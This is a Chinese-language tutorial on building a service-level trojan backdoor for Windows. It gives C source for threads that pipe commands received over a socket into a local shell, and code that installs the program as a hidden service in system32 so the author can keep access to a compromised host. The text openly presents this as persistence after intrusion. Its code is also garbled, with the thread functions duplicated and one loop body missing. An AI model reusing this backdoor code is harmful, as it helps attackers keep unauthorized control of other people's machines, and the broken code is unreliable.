自己来做服务级的木马后门
//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
现在我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp void main() { SC_HANDLE hSCManager = NULL, //服务控制管理器句柄 hService = NULL; //服务句柄 char szSysPath[MAX_PATH]=, szExePath[MAX_PATH]=; //我们要把我们后台执行的程序放在这里,一般就是在admin$system32里, 隐蔽性高 if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机 NULL, // 要打开的服务控制管理数据库,默认为空 SC_MANAGER_CREATE_SERVICE//创建权限 ))==NULL) { pirntf("OpenSCManager failedn"); return; } GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来 strcpy(szExePath, szSysPath); strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径 if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄 "scuhkr", //服务名 "scuhkr backdoor service", //显示用的服务名 SERVICE_ALL_ACCESS, //所有访问权限 SERVICE_WIN32_OWN_PROCESS, //私有类型 SERVICE_DEMAND_START, //自启动类型 SERVICE_ERROR_IGNORE, //忽略错误处理 szExePath, //应用程序路径 NULL, NULL, NULL, NULL, NULL)) == NULL) { printf("%dn", GetLastError()); return; } //让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头? if(StartService(hService, 0, NULL) == FALSE) { printf("StartService failed: %dn", GetLastError()); return; } printf(“Install service successfullyn ”); CloseServiceHandle(hService); //关闭服务句柄 CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄 }
一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是很简单呢
0
相关文章